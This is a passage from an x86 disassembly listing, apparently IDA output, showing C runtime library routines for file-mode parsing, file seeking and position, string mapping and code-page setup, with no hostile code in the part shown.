		jmp	short loc_419BA8
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_4199F4+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_419B8F
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_419B8F


loc_419B8A:				; CODE XREF: sub_4199F4+136j
					; sub_4199F4+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_419BA7
; ---------------------------------------------------------------------------


loc_419B8F:				; CODE XREF: sub_4199F4+18Ej
					; sub_4199F4+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_419DD2
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_419BA8


loc_419BA4:				; CODE XREF: sub_4199F4+167j
					; sub_4199F4+16Dj
		mov	byte ptr [edi],	0Dh


loc_419BA7:				; CODE XREF: sub_4199F4+199j
		inc	edi


loc_419BA8:				; CODE XREF: sub_4199F4+11Ej
					; sub_4199F4+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_419AFB
		jmp	short loc_419BC6
; ---------------------------------------------------------------------------


loc_419BB6:				; CODE XREF: sub_4199F4+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_419BC6
		or	al, 2
		mov	[esi], al


loc_419BC6:				; CODE XREF: sub_4199F4+101j
					; sub_4199F4+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_419BCC:				; CODE XREF: sub_4199F4+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_419BE5
; ---------------------------------------------------------------------------


loc_419BD1:				; CODE XREF: sub_4199F4+12j
					; sub_4199F4+39j
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_419BE2:				; CODE XREF: sub_4199F4+ABj
					; sub_4199F4+C3j
		or	eax, 0FFFFFFFFh


loc_419BE5:				; CODE XREF: sub_4199F4+B7j
					; sub_4199F4+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4199F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BEA	proc near		; CODE XREF: sub_414F6F+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_7424EC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_419C23
		cmp	al, 72h
		jz	short loc_419C1C
		cmp	al, 77h
		jnz	loc_419D37
		mov	ecx, 301h
		jmp	short loc_419C28
; ---------------------------------------------------------------------------


loc_419C1C:				; CODE XREF: sub_419BEA+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_419C2B
; ---------------------------------------------------------------------------


loc_419C23:				; CODE XREF: sub_419BEA+1Dj
		mov	ecx, 109h


loc_419C28:				; CODE XREF: sub_419BEA+30j
		or	esi, 2


loc_419C2B:				; CODE XREF: sub_419BEA+37j
		push	1
		pop	edx


loc_419C2E:				; CODE XREF: sub_419BEA+8Bj
					; sub_419BEA+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_419D1D
		cmp	edx, ebx
		jz	loc_419D1D
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_419CBC
		jz	short loc_419CAC
		sub	eax, 2Bh
		jz	short loc_419C96
		sub	eax, 19h
		jz	short loc_419C8C
		sub	eax, 0Eh
		jz	short loc_419C77
		dec	eax
		jnz	loc_419D0E
		cmp	[ebp+var_4], ebx
		jnz	loc_419D0E
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C77:				; CODE XREF: sub_419BEA+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_419D0E
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C8C:				; CODE XREF: sub_419BEA+6Aj
		test	cl, 40h
		jnz	short loc_419D0E
		or	ecx, 40h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419C96:				; CODE XREF: sub_419BEA+65j
		test	cl, 2
		jnz	short loc_419D0E
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_419C2E
; ---------------------------------------------------------------------------


loc_419CAC:				; CODE XREF: sub_419BEA+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_419D0E
		or	ecx, eax
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CBC:				; CODE XREF: sub_419BEA+5Ej
		sub	eax, 62h
		jz	short loc_419D09
		dec	eax
		jz	short loc_419CF2
		sub	eax, 0Bh
		jz	short loc_419CDB
		sub	eax, 6
		jnz	short loc_419D0E
		test	ch, 0C0h
		jnz	short loc_419D0E
		or	ch, 40h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CDB:				; CODE XREF: sub_419BEA+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_419D0E
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419CF2:				; CODE XREF: sub_419BEA+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_419D0E
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D09:				; CODE XREF: sub_419BEA+D5j
		test	ch, 0C0h
		jz	short loc_419D15


loc_419D0E:				; CODE XREF: sub_419BEA+72j
					; sub_419BEA+7Bj ...
		xor	edx, edx
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D15:				; CODE XREF: sub_419BEA+122j
		or	ch, 80h
		jmp	loc_419C2E
; ---------------------------------------------------------------------------


loc_419D1D:				; CODE XREF: sub_419BEA+4Aj
					; sub_419BEA+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41C716
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_419D3B


loc_419D37:				; CODE XREF: sub_419BEA+25j
		xor	eax, eax
		jmp	short loc_419D55
; ---------------------------------------------------------------------------


loc_419D3B:				; CODE XREF: sub_419BEA+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_7423EC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_419D55:				; CODE XREF: sub_419BEA+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419BEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D5A	proc near		; CODE XREF: sub_414F6Fp
		mov	edx, dword_743520
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_419DCB
		mov	ebx, dword_74251C
		mov	edi, ebx


loc_419D76:				; CODE XREF: sub_419D5A+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_419D91
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_419D8C
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_419D76
		jmp	short loc_419DCB
; ---------------------------------------------------------------------------


loc_419D8C:				; CODE XREF: sub_419D5A+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_419DB5
; ---------------------------------------------------------------------------


loc_419D91:				; CODE XREF: sub_419D5A+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_413F0B
		pop	ecx
		mov	ecx, dword_74251C
		mov	[edi+ecx], eax
		mov	eax, dword_74251C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_419DCB
		mov	esi, edi


loc_419DB5:				; CODE XREF: sub_419D5A+35j
		cmp	esi, ebp
		jz	short loc_419DCB
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_419DCB:				; CODE XREF: sub_419D5A+12j
					; sub_419D5A+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419D5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DD2	proc near		; CODE XREF: sub_41523E+67p
					; sub_415F50+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_743640
		push	esi
		push	edi
		jnb	short loc_419E54
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_419E54
		push	eax
		call	sub_41C682
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419E16
		mov	dword_74222C, 9
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E16:				; CODE XREF: sub_419DD2+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_41F094	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_419E36
		call	dword_41F06C	; RtlGetLastWin32Error
		jmp	short loc_419E38
; ---------------------------------------------------------------------------


loc_419E36:				; CODE XREF: sub_419DD2+5Aj
		xor	eax, eax


loc_419E38:				; CODE XREF: sub_419DD2+62j
		test	eax, eax
		jz	short loc_419E45
		push	eax
		call	sub_41A82A
		pop	ecx
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E45:				; CODE XREF: sub_419DD2+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_419E68
; ---------------------------------------------------------------------------


loc_419E54:				; CODE XREF: sub_419DD2+Dj
					; sub_419DD2+2Aj
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_419E65:				; CODE XREF: sub_419DD2+42j
					; sub_419DD2+71j
		or	eax, 0FFFFFFFFh


loc_419E68:				; CODE XREF: sub_419DD2+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E6C	proc near		; CODE XREF: sub_41523E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_419E88
		mov	[edi+4], ebx


loc_419E88:				; CODE XREF: sub_419E6C+17j
		push	1
		push	ebx
		push	esi
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_419EF6
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_419EAD
		sub	eax, [edi+4]
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419EAD:				; CODE XREF: sub_419E6C+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_419EE7
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_743540[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_419EFE
		mov	edx, ecx


loc_419ED8:				; CODE XREF: sub_419E6C+79j
		cmp	edx, eax
		jnb	short loc_419EFE
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_419EE4
		inc	[ebp+var_8]


loc_419EE4:				; CODE XREF: sub_419E6C+73j
		inc	edx
		jmp	short loc_419ED8
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E6C+50j
		test	dl, 80h
		jnz	short loc_419EFE
		mov	dword_74222C, 16h


loc_419EF6:				; CODE XREF: sub_419E6C+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419EFE:				; CODE XREF: sub_419E6C+68j
					; sub_419E6C+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_419F0C
		mov	eax, [ebp+var_8]
		jmp	loc_419FBF
; ---------------------------------------------------------------------------


loc_419F0C:				; CODE XREF: sub_419E6C+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_419FB7
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_419F25
		and	[ebp+var_8], edx
		jmp	loc_419FB7
; ---------------------------------------------------------------------------


loc_419F25:				; CODE XREF: sub_419E6C+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_419FB1
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_419F78
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_419F63:				; CODE XREF: sub_419E6C+104j
		cmp	eax, ecx
		jnb	short loc_419F72
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419F6F
		inc	[ebp+arg_0]


loc_419F6F:				; CODE XREF: sub_419E6C+FEj
		inc	eax
		jmp	short loc_419F63
; ---------------------------------------------------------------------------


loc_419F72:				; CODE XREF: sub_419E6C+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_419FAC
; ---------------------------------------------------------------------------


loc_419F78:				; CODE XREF: sub_419E6C+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_419DD2
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_419F9F
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_419F9F
		test	ch, 4
		jz	short loc_419FA2


loc_419F9F:				; CODE XREF: sub_419E6C+124j
					; sub_419E6C+12Cj
		mov	eax, [edi+18h]


loc_419FA2:				; CODE XREF: sub_419E6C+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_419FAC:				; CODE XREF: sub_419E6C+10Aj
		jz	short loc_419FB1
		inc	[ebp+arg_0]


loc_419FB1:				; CODE XREF: sub_419E6C+D9j
					; sub_419E6C:loc_419FACj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_419FB7:				; CODE XREF: sub_419E6C+A4j
					; sub_419E6C+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_419FBF:				; CODE XREF: sub_419E6C+3Cj
					; sub_419E6C+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FC4	proc near		; CODE XREF: sub_415467+A3p
					; sub_418AF1+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F870
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_7422CC, edi
		jnz	short loc_41A03A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41F868
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_41F188	; LCMapStringW
		test	eax, eax
		jz	short loc_41A018
		mov	dword_7422CC, ebx
		jmp	short loc_41A03A
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FC4+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438A0C
		push	esi
		push	edi
		call	dword_41F184	; LCMapStringA
		test	eax, eax
		jz	loc_41A152
		mov	dword_7422CC, 2


loc_41A03A:				; CODE XREF: sub_419FC4+2Ej
					; sub_419FC4+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41A04F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41A04F:				; CODE XREF: sub_419FC4+79j
		mov	eax, dword_7422CC
		cmp	eax, 2
		jnz	short loc_41A076
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F184	; LCMapStringA
		jmp	loc_41A154
; ---------------------------------------------------------------------------


loc_41A076:				; CODE XREF: sub_419FC4+93j
		cmp	eax, 1
		jnz	loc_41A152
		cmp	[ebp+arg_18], edi
		jnz	short loc_41A08C
		mov	eax, dword_7422C4
		mov	[ebp+arg_18], eax


loc_41A08C:				; CODE XREF: sub_419FC4+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_41F110	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41A152
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A0E7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41A0E7:				; CODE XREF: sub_419FC4+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41A152
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A152
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F188	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41A152
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41A166
		cmp	[ebp+arg_14], edi
		jz	loc_41A1E1
		cmp	esi, [ebp+arg_14]
		jg	short loc_41A152
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F188	; LCMapStringW
		test	eax, eax
		jnz	loc_41A1E1


loc_41A152:				; CODE XREF: sub_419FC4+66j
					; sub_419FC4+B5j ...
		xor	eax, eax


loc_41A154:				; CODE XREF: sub_419FC4+ADj
					; sub_419FC4+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A166:				; CODE XREF: sub_419FC4+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A19A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41A19A:				; CODE XREF: sub_419FC4+1C2j
		cmp	ebx, edi
		jz	short loc_41A152
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F188	; LCMapStringW
		test	eax, eax
		jz	short loc_41A152
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41A1C1
		push	edi
		push	edi
		jmp	short loc_41A1C7
; ---------------------------------------------------------------------------


loc_41A1C1:				; CODE XREF: sub_419FC4+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41A1C7:				; CODE XREF: sub_419FC4+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_41F10C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41A152


loc_41A1E1:				; CODE XREF: sub_419FC4+165j
					; sub_419FC4+188j
		mov	eax, esi
		jmp	loc_41A154
sub_419FC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1E8	proc near		; CODE XREF: sub_419FC4+81p
					; sub_41DB68+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41A205


loc_41A1F8:				; CODE XREF: sub_41A1E8+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41A205
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41A1F8


loc_41A205:				; CODE XREF: sub_41A1E8+Ej
					; sub_41A1E8+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41A210
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41A210:				; CODE XREF: sub_41A1E8+21j
		mov	eax, edx
		retn
sub_41A1E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A213	proc near		; CODE XREF: sub_41A5D7+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A3AC	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_743644
		mov	[ebp+arg_0], esi
		jz	loc_41A3A0
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41A396
		xor	edx, edx
		mov	eax, offset dword_437B30


loc_41A247:				; CODE XREF: sub_41A213+41j
		cmp	[eax], esi
		jz	short loc_41A2BD
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_437C20
		jl	short loc_41A247
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_41F18C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41A38E
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_743760
		cmp	[ebp+var_18], 1
		mov	dword_743644, esi
		rep stosd
		stosb
		mov	dword_743864, ebx
		jbe	loc_41A37C
		cmp	[ebp+var_12], 0
		jz	loc_41A352
		lea	ecx, [ebp+var_11]


loc_41A29A:				; CODE XREF: sub_41A213+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41A352
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41A2AB:				; CODE XREF: sub_41A213+A8j
		cmp	eax, edx
		ja	loc_41A346
		or	byte_743761[eax], 4
		inc	eax
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2BD:				; CODE XREF: sub_41A213+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_743760
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_437B40[esi]


loc_41A2D9:				; CODE XREF: sub_41A213+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41A30C


loc_41A2E0:				; CODE XREF: sub_41A213+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41A30C
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41A305
		mov	edx, [ebp+var_4]
		mov	dl, byte_437B28[edx]


loc_41A2FA:				; CODE XREF: sub_41A213+F0j
		or	byte_743761[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41A2FA


loc_41A305:				; CODE XREF: sub_41A213+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41A2E0


loc_41A30C:				; CODE XREF: sub_41A213+CBj
					; sub_41A213+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41A2D9
		mov	eax, [ebp+arg_0]
		mov	dword_74365C, 1
		push	eax
		mov	dword_743644, eax
		call	sub_41A3F6
		lea	esi, dword_437B34[esi]
		mov	edi, offset dword_743650
		movsd
		movsd
		pop	ecx
		mov	dword_743864, eax
		movsd
		jmp	short loc_41A39B
; ---------------------------------------------------------------------------


loc_41A346:				; CODE XREF: sub_41A213+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41A29A


loc_41A352:				; CODE XREF: sub_41A213+7Ej
					; sub_41A213+8Bj
		push	1
		pop	eax


loc_41A355:				; CODE XREF: sub_41A213+14Fj
		or	byte_743761[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41A355
		push	esi
		call	sub_41A3F6
		pop	ecx
		mov	dword_743864, eax
		mov	dword_74365C, 1
		jmp	short loc_41A382
; ---------------------------------------------------------------------------


loc_41A37C:				; CODE XREF: sub_41A213+74j
		mov	dword_74365C, ebx


loc_41A382:				; CODE XREF: sub_41A213+167j
		xor	eax, eax
		mov	edi, offset dword_743650
		stosd
		stosd
		stosd
		jmp	short loc_41A39B
; ---------------------------------------------------------------------------


loc_41A38E:				; CODE XREF: sub_41A213+51j
		cmp	dword_7422D0, ebx
		jz	short loc_41A3A4


loc_41A396:				; CODE XREF: sub_41A213+27j
		call	sub_41A429


loc_41A39B:				; CODE XREF: sub_41A213+131j
					; sub_41A213+179j
		call	sub_41A452


loc_41A3A0:				; CODE XREF: sub_41A213+1Dj
		xor	eax, eax
		jmp	short loc_41A3A7
; ---------------------------------------------------------------------------


loc_41A3A4:				; CODE XREF: sub_41A213+181j
		or	eax, 0FFFFFFFFh


loc_41A3A7:				; CODE XREF: sub_41A213+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A213	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3AC	proc near		; CODE XREF: sub_41A213+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_7422D0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41A3CC
		mov	dword_7422D0, 1
		jmp	dword_41F194
; ---------------------------------------------------------------------------


loc_41A3CC:				; CODE XREF: sub_41A3AC+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41A3E1
		mov	dword_7422D0, 1
		jmp	dword_41F190
; ---------------------------------------------------------------------------


loc_41A3E1:				; CODE XREF: sub_41A3AC+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41A3F5
		mov	eax, dword_7422C4
		mov	dword_7422D0, 1

locret_41A3F5:				; CODE XREF: sub_41A3AC+38j
		retn
sub_41A3AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3F6	proc near		; CODE XREF: sub_41A213+118p
					; sub_41A213+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41A423
		sub	eax, 4
		jz	short loc_41A41D
		sub	eax, 0Dh
		jz	short loc_41A417
		dec	eax
		jz	short loc_41A411
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A411:				; CODE XREF: sub_41A3F6+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_41A3F6+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41A41D:				; CODE XREF: sub_41A3F6+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41A423:				; CODE XREF: sub_41A3F6+9j
		mov	eax, 411h
		retn
sub_41A3F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A429	proc near		; CODE XREF: sub_41A213:loc_41A396p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_743760
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_743650
		mov	dword_743644, eax
		mov	dword_74365C, eax
		mov	dword_743864, eax
		stosd
		stosd
		stosd
